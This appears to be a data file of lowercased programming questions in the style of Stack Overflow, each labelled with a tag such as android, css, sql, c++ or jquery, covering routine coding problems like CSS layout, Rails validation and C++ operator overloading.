how can an apps application class run at once the device starts   how can an apps application class run at once the device starts     hello     i have an application where the application class is running it s oncreate  but no activites on device startup. and i don t mean when the boot broadcast is sent  i mean at once the device is started.    i can see this since i ve added file logging to the appliation class  but i cannot see that it comes any further (into any activities).    my manifest has    <ul> <li>no receivers</li> <li>no services with their own process id</li> </ul>   is there anything else that could start my application class on device start     when i click and start the application on my device  i see logs in the application class again  but this time it has another process id than it had.    thanks in advance!    ===================    ok  so after commenting out all obvious code and manifest entries  i finally set my sync adapter service to enabled=false  and then the problem did not occur. is this normal behaviour of a sync adapter service,android
understanding php class hierarchies and casting  i am trying to understand how to use class hierarchies in php. in java programming i would be able to do something like this:   <pre><code>public class classone extends superclass{  }  public class classtwo extends superclass{  }  public class superclass{  } </code></pre>   now when i instantiate an object as <code>unknownclass = new superclass();</code> i would then be able to cast this <code>unknownclass</code> to any of the classes it extends on the go.    my question is how does this apply to php   and how do you take it in use,php
css header problem  i have a header class which has a background and a header-center class which provides the nav content for the header. my problem is that if the window is smaller than the header-center width  the header background doesn t span the entire top when you scroll over. stackoverflow seems to have the same problem  try resizing it and you ll see what i mean - they gray background doesn t expand over to the search box. how would i go about fixing this  thanks!,css
need help clearing touch events between activities  <strong>scenario:</strong>    there are two activities... activity a has an imagebutton to launch an intent to show activity b on screen. activity b has an imagebutton to finish() itself and cause activity a to be shown. these buttons are at the same location on each activity    <strong>problem:</strong>    in activity b  when i double-tap the button (instead of single tap)  activity a becomes visible but quickly shows activity b again !    the second touch event seems to carry through to activity a and it would seem that i could fix this problem by clearing some touch buffer in oncreate() of activity a.    how can this be done  or is there another fix      i ve reproduced this on the emulator (2.2) and on the phone (2.3.3),android
c++ program to add commas to long the digits  example from cs106b course book about strings. the sense of program is to add comma after every three digit from the end. in case of input 15000 output must be 15 000. as you see  i have ignored digits shorter then 4.   <pre><code>/*  * file: addcommas.cpp  * -----------------  *  */  #include &lt;iostream&gt; #include &lt;string&gt; #include &lt;cctype&gt; using namespace std;  /*function prototypes*/ string addcommas(string digits);  /*main program*/ int main(){     while(true){         string digits;         cout &lt;&lt;  enter a number:  ;         getline(cin  digits);         if (digits ==   ) break;         cout &lt;&lt; addcommas(digits) &lt;&lt; endl;     }     return 0; }  /*function: addcommas  *usage: string addcommas(string digits)  *---------------------------------------  *adds commas to long digits  */ string addcommas(string digits){     string result;     if (digits.length() &gt; 3){         int t = 0;          for(int i = digits.length() - 1; i &gt;= 0; i --){             result = digits[i] + result;             t++;             if(t%3 == 0){                 result =     + result;              }         }         if(result[0] ==    ){             result.erase(0  1);         }     } else {         result = digits;     }     return result; } </code></pre>,c++
transition from one image to another  currently i m using this code:   <pre><code>#div { background-image: url( imageurl.com )  url( imageurl2.com ); position: absolute !important; right: 0; left: 0; height: 210px !important; display: table-cell !important; vertical-align: middle !important;}  @keyframes fadeinout {  0% {   opacity:1; } 45% { opacity:1; } 55% { opacity:0; } 100% { opacity:0; } }  #div img.top { animation-name: fadeinout; animation-timing-function: ease-in-out; animation-iteration-count: infinite; animation-duration: 10s; animation-direction: alternate; } </code></pre>   i m actually trying to implement the code from demo 3 on this website:  <a href= http://css3.bradshawenterprises.com/cfimg/  rel= nofollow noreferrer >http://css3.bradshawenterprises.com/cfimg/</a><br> <br> in that demo  there are two images in one div and the code is just fading the first one in and out on a timer. i tried implementing this myself using the above code  but it s fading anything in and out. does anyone know what i m missing,css
can someone explain how this part  the complete code can be found here: <a href= http://www.webdeveloper.com/forum/showthread.php t=224180#6  rel= nofollow >http://www.webdeveloper.com/forum/showthread.php t=224180#6</a> this emulates jquery like functionality.  the next part defines the methods   <pre><code>//define some methods for the utility: var meths={     hide:function(a){if(a)a.style.display= none ;}      show:function(a){if(a)a.style.display=  ;}      remove:function(a){if(a)a.parentnode.removechild(a);}      color:function(a){a.style.color=this||a.style.color;}      size:function(a){if(a)a.style.fontsize=this||a.style.fontsize;}  };//end meths </code></pre>   i get the above part. this is  of course  a part of a closure.   i can t seem to understand the next part and how calling <code>x.hide()</code> calls the corresponding method in x. if someone would take the time to explain this   <pre><code>//bind the methods to the collection array: for(var meth in meths)   (function(n m){     output[n]=function(x){output.map(m x); return output;}   }(meth  meths[meth]));//next method  return output; </code></pre>,javascript
change date format in sql  i have a variable  month  in sql db with 2 different formats: <code>yyyy-mm</code> and <code>yyyy-m</code> (e.g.  2015-11  2016-1). when i try to sort the  month  (ascending or descending)  it is not showing properly due to this format difference. how to change the <code>yyyy-m</code> format to <code>yyyy-mm </code>,sql
remove similar items on an object list  i am populating a <code>std::list&lt;item*&gt; items</code>list from a text file  but there are instances where the name variable is the same  in those instances i want to remove the duplicated item (the item with the same name  other information of the item is irrelevant) but get data from that object to add to the  original  (the first instance of the item)    because i want to be able to load multiple information  aka an array of sorts into  items  and this is what i have so far come up with    i tried to loop through items  then loop again and check the first loop against the second loop  copy the information and add to the array of the first loop item but it just breaks.    suggestions     similar to this: <a href= https://stackoverflow.com/questions/9237216/removing-duplicates-in-a-vector-of-strings >removing duplicates in a vector of strings</a> except i want to use the information found in any duplicate and add it to a <code>std::list</code> that the item object holds    so if i load this:   <pre><code>set normal difficulty|sets your save game to normal difficulty|/jksv/saves/fire_emblem__awakening/hack/chapter0|0x0d|0x00 set normal difficulty|sets your save game to normal difficulty|/jksv/saves/fire_emblem__awakening/hack/chapter0|0x0f|0x0a set hard difficulty|sets your save game to hard difficulty|/jksv/saves/fire_emblem__awakening/hack/chapter0|0x0d|0x01 set lunatic difficulty|sets your save game to lunatic difficulty|/jksv/saves/fire_emblem__awakening/hack/chapter0|0x0d|0x02 set lunatic+ difficulty|sets your save game to lunatic+ difficulty|/jksv/saves/fire_emblem__awakening/hack/chapter0|0x0d|0x03 </code></pre>   it will only have 1 <code>set normal difficulty</code> item but that item will hold the duplicates last 2 pieces of information (aka <code>0x0f|0x0a</code>,c++
how validate before save with object from new action  im trying to create a new alert only if is covered returns true  how can i access the object from new to check if it is covered or not  and if it is save correctly if not respond with the errors. my error is nameerror (undefined local variable or method `params  for #):   <pre><code>  class alert &lt; activerecord::base     belongs_to :user     has_many :activities      scope :by_year  lambda { |year| where( extract(year from created_at) =     year) }     validate :is_covered  :before =&gt; :create      def is_covered          @schools = school.all      @schools.each do |school|              distance = triangulate(school.latitude  school.longitude  self.latitude  self.longitude)        if distance &lt; school.radius.to_f           self.school_id = school.id         return self       else         self.errors.add(:latitude  sorry you arent within a school )         return self       end     end     end     def power(num  pow)         num ** pow   end     def triangulate(lat1  lng1  lat2  lng2)      dtor = math::pi/180     r = 6378.14*1000          rlat1 = lat1.to_f * dtor      rlong1 = lng1.to_f * dtor      rlat2 = lat2.to_f * dtor      rlong2 = lng2.to_f * dtor     dlon = rlong1 - rlong2     dlat = rlat1 - rlat2           a = power(math::sin(dlat/2)  2) + math::cos(rlat1) * math::cos(rlat2) * power(math::sin(dlon/2)  2)         c = 2 * math::atan2(math::sqrt(a)  math::sqrt(1-a))          distance = r * c      return distance   end end </code></pre>   controller   <pre><code>   def create         @alert = alert.create(alert_params).is_covered         @alert.status =  active           respond_to do |format|             if @alert.save &amp;&amp; @alert.valid                log_activity(nil   has created alert   @alert.id  @alert.school_id   alert )               format.json { render json: @alert.id}             else               format.json { render json: @alert.errors  status: :unprocessable_entity }             end         end       end </code></pre>,ruby-on-rails
subclass issue (java)  i have a class <code>appointment</code> with fields:   <ul> <li><code>int day</code></li> <li><code>int month</code></li> <li><code>int year</code></li> <li><code>string desc</code></li> </ul>   this stores the description of the appointment along with the date.    super class <code>appointment</code>:   <pre><code>public class appointment {     int daynum;     int monthnum;     int yearnum;     string desc;      public appointment(string des  int day) {         //monthly appointments (check day)         desc = des;         daynum = day;     }     public appointment(string des  int day  int month){         //yearly appointments (check day and month)            desc = des;         daynum = day;         monthnum = month;     }     public appointment(string des  int day  int month  int year){         //one time (check all)         desc = des;         daynum = day;         monthnum = month;         yearnum = year;     }      } </code></pre>   here are my 3 sub classes:    <b>a one time appointment:</b> <code>onetime</code>    <pre><code>public class onetime extends appointment{     public onetime(string des  int day  int month  int year){         super(des  day  month  year);     }     public string getdesc(){         return desc;     } } </code></pre>   <b>once a month appointments:</b> <code>monthly</code>   <pre><code>public class monthly extends appointment{     public monthly(string des  int monum){         super(des  monum);     }     public string getdesc(){         return desc;     } } </code></pre>   <b>once a year appointments</b> <code>yearly</code>   <pre><code>public class yearly extends appointment{     public yearly(string des  int day  int month){         super(des  day  month);     }     public string getdesc(){         return desc;     } } </code></pre>   <b>problem:</b> i am asked to add a handful of various <code>appointment</code> objects to an <code>arraylist</code> (which i know). however  i must write a method <code>occurson(int day  int month  int year)</code> that returns all appointments on that day. the part i am not sure about is writing the <code>occurson()</code> method. say i had an appointment for 11/22/2018   how would i compare a monthly object to the day parameter / yearly compared to the month and day parameters / <code>onetime</code> compared to all parameters     <b>textbook question: </b>    implement a superclass <code>appointment</code> and subclasses <code>onetime</code>  <code>daily</code>  and <code>monthly</code>. an appointment has a description (for example   see the dentist ) and a date. write a method <code>occurson(int year  int month  int day)</code> that checks whether the appointment occurs on that date. for example  for a monthly appointment  you must check whether the day of the month matches. then fill an array of <code>appointment</code> objects with a mixture of appointments. have the user enter a date and print out all appointments that occur on that date.      note: this is not my homework. i just have a unit test on this in 2 hours and am stuck.,java
jquery add dynamic class name for table with auto increment value  i have a table the code is     <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td&gt;1&lt;/td&gt; &lt;td&gt;2&lt;/td&gt; &lt;td&gt;3&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;1&lt;/td&gt; &lt;td&gt;2&lt;/td&gt; &lt;td&gt;3&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   from the above code i want to add class= row1  in to the each tr by increment id example   <pre><code>&lt;table&gt;     &lt;tr class= row1 &gt;     &lt;td class= row11 &gt;1&lt;/td&gt;     &lt;td class= row12 &gt;2&lt;/td&gt;     &lt;td class= row13 &gt;3&lt;/td&gt;     &lt;/tr&gt;     &lt;tr class= row2 &gt;     &lt;td class= row21 &gt;1&lt;/td&gt;     &lt;td class= row22 &gt;2&lt;/td&gt;     &lt;td class= row23 &gt;3&lt;/td&gt;     &lt;/tr&gt;     &lt;/table&gt; </code></pre>   how to add the dynamic class id s in to tr and the td in the table   using jquery,jquery
ror server won t detach with -d option  i had to reinstall a bunch of my port installs the other day and now when i launch my ror server with  ruby script/server -d -p 3000  the server wont work.  i am not seeing any errors in the logs.  if i start it with  ruby script/server -p 3000  it works fine.    any ideas of what i might have uninstalled that would cause this behavior,ruby-on-rails
how to validate a child checkbox is checked while parent checkbox is checked using jquery   how to validate atleat one child checkbox is checked while parent checkbox is checked in a array of     checkbox using jquery.   <pre><code>&lt;form name= frm  action= #  method= post  onsubmit= return validation() &gt;      &lt;ul&gt;     &lt;li&gt;&lt;input type= checkbox  name= cat[]  id= cat1  value= c1  /&gt;     &lt;ul&gt;     &lt;li&gt;&lt;input type= checkbox  name= sub_cat[]  id= cat1_s1  value= s1  /&gt;&lt;/li&gt;     &lt;li&gt;&lt;input type= checkbox  name= sub_cat[]  id= cat1_s2  value= s3  /&gt;&lt;/li&gt;     &lt;li&gt;&lt;input type= checkbox  name= sub_cat[]  id= cat1_s3  value= s4  /&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;/li&gt;     &lt;li&gt;&lt;input type= checkbox  name= cat[]  id= cat2  value= c2  /&gt;     &lt;ul&gt;     &lt;li&gt;&lt;input type= checkbox  name= sub_cat[]  id= cat2_s4  value= s4  /&gt;&lt;/li&gt;     &lt;li&gt;&lt;input type= checkbox  name= sub_cat[]  id= cat2_s5  value= s5  /&gt;&lt;/li&gt;     &lt;li&gt;&lt;input type= checkbox  name= sub_cat[]  id= cat2_s6  value= s6  /&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;/li&gt;     &lt;/ul&gt;  &lt;input type= submit  name= submit  value= submit  /&gt; &lt;/form&gt; </code></pre>   if i am check id= cat1  checkbox i need to alert please select atleast one child from the list. how to validate using jquery parallely it apply for parent checkbox id= cat2 .,jquery
lync application crashing upon launching form other application on ios8  trying to launch lync application from my application using below code    <pre><code>[[uiapplication sharedapplication] openurl:[nsurl urlwithstring:@ lync:// ]]; </code></pre>   while testing my application on device  lync app gets launched. it shows splash screen for 1 sec and then crashes.     this is tested on device having  - lync app version installed – lync 2013 - ios version tested – 8.1.3     does any one know what could be issue.,ios
how to convert property name to lowercase from object using angularjs   this is my code   <pre><code>$scope.search={ classname :{ id : 101   class : business }}; </code></pre>   the above data coming from another control now i m accessing class property like <code>$scope.search.classname.class;</code>   but i want convert property class to lowercase like <code>$scope.search.classname.class;</code> in angularjs only.,angularjs
query to delete where id is other than multiple values   how would i make a query to  delete the column where id is other than multiple values     i tried   <pre><code>delete from `player` where `player`.`squad` != 3  4  8  9  10  11  21   31  36  43  64  65  66  71  74  103  105  154  171  190; </code></pre>   thanks,sql
loading a big plist file  i have a big plist file  i have a problem  when i do:   <pre><code> [nsmutabledictionary dictionarywithcontentsoffile:docdirpath]; </code></pre>   i must waiting for some seconds before i can use the application. is there some solution     thanks,objective-c
is there a load event for html body element  i can t seem to get it to work - show an alert  i am trying to attach a listener for the html body s load event. but the code doesn t seem to run (event not fired). is there a load event for the body element  if yes  is the code below correct  right now i just want it to work in firefox.    <br> <strong>index.html</strong>   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;testing&lt;/title&gt;         &lt;script type= text/javascript  src= script.js &gt;&lt;/script&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;p&gt;hello  world!&lt;/p&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   <br> <strong>script.js</strong>   <pre><code>window.onload = function() {     document.body.addeventlistener( load   function() {       alert( body has loaded );     }  true); } </code></pre>   <br> i know i can do it with jquery s $(document).ready(); but i want to learn the native dom methods. also  i don t want to use <code>&lt;body onload=  &gt;</code>. i want to attach the event the way i have shown  at runtime.,html
context floating menu  i have created a context floating menu like this:    <img src= https://i.stack.imgur.com/ifhzr.png  alt= enter image description here >    i added a header too (it is not shown in this picture). it works perfect but i want to change :   <ol> <li>background</li> <li>color/drawable between the header and the first item</li> <li>the color of the header</li> <li>and other settings</li> </ol>   can someone show me an example in the styles.xml file how to change some of those settings     edit: to be more specific i will show my code:    here i register my view for the context menu:   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     listitemview demoitem1 = (listitemview) findviewbyid(r.id.demoitem1);     registerforcontextmenu(demoitem1); } </code></pre>   here i create and inflate the menu:   <pre><code>    @override public void oncreatecontextmenu(contextmenu menu  view v  contextmenuinfo menuinfo) {     super.oncreatecontextmenu(menu  v  menuinfo);     menu.setheadertitle( list actions );     menuinflater inflater = getmenuinflater();     inflater.inflate(r.menu.context_menu  menu); } </code></pre>   here are the options if clicked:   <pre><code>@override public boolean oncontextitemselected(menuitem item) {     switch (item.getitemid()) {     case r.id.dublicate:         return true;     case r.id.edit:         return true;     case r.id.delete:         return true;     case r.id.rename:         return true;     default:         return super.oncontextitemselected(item);     } } </code></pre>   here is the context_menu.xml :        <pre><code>&lt;item     android:id= @+id/dublicate      android:title= @string/context_menu_item_dublicate &gt; &lt;/item&gt; &lt;item     android:id= @+id/edit      android:title= @string/context_menu_item_edit /&gt; &lt;item     android:id= @+id/delete      android:title= @string/context_menu_item_delete /&gt; &lt;item     android:id= @+id/rename      android:title= @string/context_menu_item_rename /&gt; </code></pre>,android
count working hours with options  i have a mysql query who works fine  but i need some options or filters. this query count all hours between the first date and end date.   <pre><code>    select hour(timediff( 2013-11-26 23:51:20                             2013-11-28 15:51:10 ))         as totalhour     ----     totalhour     39 </code></pre>   it is possible to get the sum of a count of only the hours between 08h - 17h and only between monday to friday     the schema is like that:   <pre><code>    create table `test` (       `id` int(11) not null auto_increment        `title` varchar(255) collate latin1_general_ci not null        `first_date` date not null        `last_date` date not null        `begin_hour` time not null        `end_hour` time not null        primary key (`id`)     ) engine=innodb auto_increment=3 default charset=latin1 collate=latin1_general_ci;      /*data for the table `test` */      insert  into `test`(`id` `title` `first_date` `last_date` `begin_hour` `end_hour`) values      (1  test1   2013-11-26   2013-11-28   06:00:20   20:00:20 )      (2  test2   2013-11-29   2013-12-03   09:00:10   15:51:10 ); </code></pre>   like that from 2013-11-29 at  09:00:10  to  2013-12-03  at 15:00:00  =  <strong>23 h</strong>    thanx in advance,mysql
ios 9 monospace text  i have a date countdown in my app in which i d like to make use of san francisco s monospaced number feature. i currently retrieve the font using this code:   <pre><code>uifontdescriptor *countdownfontdescriptor = [uifontdescriptor preferredfontdescriptorwithtextstyle:uifonttextstylebody]; nsarray *additionalfontsettings = @[@{uifontfeaturetypeidentifierkey: @(knumberspacingtype)  uifontfeatureselectoridentifierkey: @(kmonospacednumbersselector)}                                      @{uifontfeaturetypeidentifierkey: @(ktextspacingtype)  uifontfeatureselectoridentifierkey: @(kmonospacedtextselector)}]; countdownfontdescriptor = [countdownfontdescriptor fontdescriptorbyaddingattributes: @{uifontdescriptorfeaturesettingsattribute: additionalfontsettings}]; uifont *desiredfont = [uifont fontwithdescriptor:countdownfontdescriptor size:14]; </code></pre>   i get monospaced numbers as they should appear  but i have semicolons in my string which separate the numbers. occasionally i see this character move. how can i get the width of the semicolon to remain constant also  (this is why i tried adding <code>ktextspacingtype</code>),ios
jquery .load function breaks other jquery functions <pre><code>function loadmodal(page  title) {     title = title ||   ;      $(  #modal_page  ).fadein( slow );     $(  #modal_title  ).html(title);      $( #modal_page_body ).html( &lt;h2 align= center &gt;loading...&lt;/h3&gt;&lt;p align= center &gt;&lt;i class= fa fa-refresh fa-spin fa-5x &gt;&lt;/i&gt;&lt;/p&gt; ); //$( #loadingdiv ).show();     $( #modal_page_body ).load(page  function(){      });     $( html  body ).animate({ scrolltop: 0 }   slow ); } </code></pre>   i have the above function in jquery and i call it with this code:   <pre><code>&lt;a href= #  onclick= loadmodal( /section/helpdesk/newticket    new ticket );  title= new ticket &gt;&lt;i class= fa fa-ticket &gt;&lt;/i&gt;&lt;/a&gt; </code></pre>   its working how i want it and the page is loading into the modal which is displaying fine.    however  when i close the modal <code>$( #modal_page ).fadeout( slow )</code> any jquery code on the main index.php page is not running. for example  i have a <code>.toggle</code> but that does not work. if i refresh the page  it then works fine until i open and close this modal again,jquery
default namespace for polymorphic url_for  in my application i have a namespaced admin section.  here s a snippet from my routes.rb:   <pre><code>map.namespace :admin do |admin|   admin.resources :contents end  map.resources :contents </code></pre>   within my admin namespace  right now i am using the following:   <pre><code>link_to content  admin_content_path(content) </code></pre>   but i want to do:   <pre><code>link_to content  content </code></pre>   which is currently equivalent to:   <pre><code>link_to content  content_path(content) </code></pre>   is there a way to have all links within views belonging to a controller be prefixed with a namespace,ruby-on-rails
how to change a value name during output  i am trying to change the name of a stored value when i execute my sql script:   <pre><code>select     personnum       paycodename       cast(wfctimeinseconds as float)/3600 as total_hours from     vp_alltotals where     applydate &gt;=  09/25/2011  and     applydate &lt;=  10/01/2011  and     paycodename in ( vacation                        sick leave - paid                        personal business - paid                        comp time - paid                       ) </code></pre>   i want the vacation to be vac  sick leave - paid to be sic  personal business - paid to be per and,sql
can t assign array element to class variable while overloading  =  operator  i am quite new in c++ programming  so maybe that s why i can t figure out why this assignment is not working. in my class  i want to overload  =  operator.  i have specified a function  that outputs variables as an array. in overloading  i want to assign those variables to new object.   <pre><code> obj_new = obj_with_variables </code></pre>   overloading:    <pre><code>  obj_new_x=obj_with_values_parameters()[0];   obj_new_y=obj_with_values_parameters()[1]; </code></pre>   here is a code:    <pre><code>// test1.cpp : defines the entry point for the console application. // #include  stdafx.h  #include &lt;iostream&gt; #include  string   using namespace std;  class vector2d { public: vector2d() {  } vector2d(int&amp; a  int&amp; b)     :x(a)  y(b) {  } void drukuj() {     cout &lt;&lt;  wektor [  &lt;&lt; x &lt;&lt;     &lt;&lt; y &lt;&lt;  ] \n ; } void wspolrzedne(int&amp;a  int&amp;b) {     x = a;     y = b; } int* wspolrzedne() {     int tab[2] = { x y };     return tab; } void operator = (vector2d&amp; obj) {     int* a = obj.wspolrzedne();     cout &lt;&lt; a[0] &lt;&lt;  \n ;     x = a[0];     cout &lt;&lt; x &lt;&lt;   what  \n ;     y = a[1]; }  private: int x  y;  };   int main() { int x1 = 2  x2 = 3; vector2d wektor(x1  x2); wektor.drukuj(); vector2d wektor2; wektor2 = wektor; wektor2.drukuj(); wektor.drukuj();   return 0; } </code></pre>   the problem is that it assigns some strange values. however  if i don t use a reference  but declare 2 int values (j k) and assign array element to them [0 1]  it works fine. also  when using static numbers (for example  instead of a[0] ; use  2 ) it works fine too.<br> what is going on <br> i would be glad if somebody could point me to right answer/ resources.<br> regards,c++
python how to programmatically get line number of class definition  suppose i have a module named test.py.  in this file  i know a class named dummy. how to get the line number of class dummy definition after i import it      is there an api can do such thing     if dummy is a function  then <code>dummy.__code__.co_firstlineno</code> will return the line no. but if dummy is a class  it doesn t have<code>__code__</code>attribute    i wanna know is there a way which can return the line no without parsing the file.,python
how to find out what assemblies an assembly references   i have an assembly (class library dll) that references microsoft.reportviewer.webforms.  i need to find out what version of microsoft.reportviewer.webforms it is referencing.  is there a tool that can do that   kind of like dependency walker for win32 dlls  but i need to get the full assembly reference (including the version and public key token).    the thing is my dll is in production and all the reportviewer dlls are 8.0.0.0  but i am getting an error saying it can t load the 10.0.0.0 version.  so i just need a tool that will show me the full list of references that my dll is referencing.    thanks,.net
can anyone explain me this specific inheritance syntax   can someone explain me this specific syntax in c#    i guess this has something to do with inheritance but i just don t get the syntax with  this  and  new  keywords    <pre><code>public a() : this (new b()  new c()) {             //method body } </code></pre>   thanks  zack    edit :  i mean  i know this and new keywords but i m new in c# programming and didn t know this syntax  thanks all for your answers :-),c#
how is the variable filename here changing   for some reason  my variable filename changes by the time it gets to setupview to filename from a more recent instance of the class and i cant figure out why. i just started learning obj-c  so im assuming im doing some sort of rookie mistake.    they are instantiated by:   <pre><code>campusmaptilezero=[[campusmaptile alloc] initnameoftiletoload:@ cm0 ]; campusmaptileone=[[campusmaptile alloc] initnameoftiletoload:@ cm1 ]; </code></pre>   and the implementation im referring to is:   <pre><code>#import  campusmaptile.h  #import  tilemanager.h  #import  glview.h  #import  openglcommon.h  #import  constantsandmacros.h    @implementation campusmaptile nsstring *filename; - (id) initnameoftiletoload: (nsstring *)filename  {     if(self = [super init]) {         nslog(@ initialized map tile for tile: );         nslog(filename);         [self settile:filename];     }     return self; }  -(void)settile:(nsstring*) _filename {     nslog(@ set tile called from settile. );     filename=_filename;     nslog(@ filename in settile is: );     nslog(filename); }    - (void)drawview:(glview*)view  {     glbindtexture(gl_texture_2d  texture[0]);      glenableclientstate(gl_vertex_array);     glenableclientstate(gl_texture_coord_array);       static const vertex3d vertices[] = {         {0 0  1}  //tl         { 1024 0  1}  //tr         {0 -1024  1}  //bl         { 1024.0f  -1024.0f  1}  //br     };       static const glfloat texcoords[] = {         0.0  1.0          1.0  1.0          0.0  0.0          1.0  0.0     };      glvertexpointer(3  gl_float  0  vertices);     gltexcoordpointer(2  gl_float  0  texcoords);     gldrawarrays(gl_triangle_strip  0  4);     gldisableclientstate(gl_vertex_array);     gldisableclientstate(gl_texture_coord_array);  }  - (void)setupview:(glview*)view {        nslog(@ setup view called );     nslog(filename);     [self loadtextures:filename textureidentifier:0];  }  -(void)loadtextures:(nsstring*) filename textureidentifier:(int) texturenumber {     //enable textures.     glenable(gl_texture_2d);     glhint(gl_perspective_correction_hint gl_fastest);     glenable(gl_blend);      glblendfunc(gl_src_alpha  gl_one_minus_src_alpha);      // bind the number of textures we need.     glgentextures(1  &amp;texture[texturenumber]);     glbindtexture(gl_texture_2d  texture[texturenumber]);     gltexparameteri(gl_texture_2d gl_texture_min_filter gl_linear);      gltexparameteri(gl_texture_2d gl_texture_mag_filter gl_linear);       //    [tilemanager setupview:view];         nsstring *path = [[nsbundle mainbundle] pathforresource:filename oftype:@ jpg ];     nsdata *texdata = [[nsdata alloc] initwithcontentsoffile:path];     uiimage *image = [[uiimage alloc] initwithdata:texdata];      if (image == nil)         nslog(@ do real error checking here );      gluint width = cgimagegetwidth(image.cgimage);     gluint height = cgimagegetheight(image.cgimage);     cgcolorspaceref colorspace = cgcolorspacecreatedevicergb();     void *imagedata = malloc( height * width * 4 );     cgcontextref context = cgbitmapcontextcreate( imagedata  width  height  8  4 * width  colorspace  kcgimagealphapremultipliedlast | kcgbitmapbyteorder32big );      // flip the y-axis     cgcontexttranslatectm (context  0  height);     cgcontextscalectm (context  1.0  -1.0);      cgcolorspacerelease( colorspace );     cgcontextclearrect( context  cgrectmake( 0  0  width  height ) );     cgcontextdrawimage( context  cgrectmake( 0  0  width  height )  image.cgimage );      glteximage2d(gl_texture_2d  0  gl_rgba  width  height  0  gl_rgba  gl_unsigned_byte  imagedata);      cgcontextrelease(context);      free(imagedata); }   - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     self = [super initwithnibname:nibnameornil bundle:nibbundleornil];     if (self) {         // custom initialization     }     return self; }  - (void)didreceivememorywarning {     // releases the view if it doesn t have a superview.     [super didreceivememorywarning];      // release any cached data  images  etc that aren t in use. }  #pragma mark - view lifecycle  /* // implement loadview to create a view hierarchy programmatically  without using a nib. - (void)loadview { } */  /* // implement viewdidload to do additional setup after loading the view  typically from a nib. - (void)viewdidload {     [super viewdidload]; } */  - (void)viewdidunload {     [super viewdidunload];     // release any retained subviews of the main view.     // e.g. self.myoutlet = nil; }  - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     // return yes for supported orientations     return (interfaceorientation == uiinterfaceorientationportrait); }   @end </code></pre>,objective-c
html table centering  i am having trouble centering my table in html as i am trying to create a web page for a class. this is what i have entered into html:   <pre><code>&lt;table align= center  width= 50% &gt; &lt;tr&gt; &lt;td&gt;&lt;b&gt;resume:&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;a href= umd resume  general revised.docx &gt;click here to download my resume.&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;b&gt;linkedin:&lt;/b&gt;&lt;/td&gt; &lt;td&gt;&lt;a href= https://www.linkedin.com/in/michellefeyder &gt;click here to open my linkedin profile.&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   however  whenever i try to add  align  and  width  in the  attribute  it only affects my width. it doesn t center the table. does anyone know of a way to both center the table in the page while applying width     thank you. i can provide the markup of my html page if needed.,html
how to line up text in a unordered list of images  i have an unordered list of items where each item is an image followed by some text. i would like the text to line up exactly  but due to the icons being slightly different sizes  the text of each is not aligned. see the jsfiddle below for an example. you can see the  o  of option is further to the left than the  r  of rss feed.    what is the easiest way of achieving this  is there a way to do this without changing the images      this is my html:   <pre><code>&lt;ul class= dropdown-menu &gt;   &lt;li&gt;&lt;a id= login  style= cursor:pointer; &gt;&lt;img src= http://www.w3schools.com/images/up.gif  /&gt; login&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a id= upload  style= cursor:pointer; &gt;&lt;img src= http://static.bbci.co.uk/id/0.23.4/img/bbcid_orb_signin_dark.png  /&gt; upload a file&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a id= option 3  style= cursor:pointer; &gt;&lt;img src= http://res2.windows.microsoft.com/resbox/en/windows%207/main/4f6cbd09-148c-4dd8-b1f2-48f232a2fd33_818.jpg /&gt;option 3&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a id= rss  id= rss  &gt;&lt;img src= http://www.w3schools.com/images/up.gif  /&gt; rss feed&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a id= about  style= cursor:pointer; &gt;&lt;img src= https://www.google.com/images/icons/product/googlemail-16.png  /&gt; about&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   there is a jsfiddle here:    <a href= http://jsfiddle.net/9f1gxlv6/  rel= nofollow >http://jsfiddle.net/9f1gxlv6/</a>    thanks      phil,html
is it okay to install .net 3.5 if i already have .net 4.0 installed   i have a windows 7 laptop which has .net 4 installed.    it also has folders for version 2  3 and 3.5 of the .net framework in the %windir%  but the main assemblies such as mscorlib.dll etc. are only present in the folders designated for versions 2.0 and 4.0. the rest of them have a very few dlls and mostly just config files.    my goal is to compare the members in an assembly of version 3.5 with that of version 4 of the same dll.    my questions are: a) can i install version 3.5 from the microsoft website and then compare the two versions     b) if i do install version 3.5 now  will that screw up with the version 4 that is already installed on my machine,.net
sql query which one is faster  the first query is this   <pre><code>select name        surname        classid    from classes        users   where classes.userid = users.userid      or classes.userid = 0 </code></pre>   the second query is this   <pre><code>select name        surname        classid    from classes    left    join users      on classes.userid = users.userid </code></pre>   the classes table have userid 0 variable and i add the query or classes.userid=0    i don t have big data i can t try it. someone can help me   which is faster and why,sql
how big should one websocket request be   there is probably a size  at which a request gets splitted. since i have to work with strings in the request  a answer with a char-count would be nice.,javascript
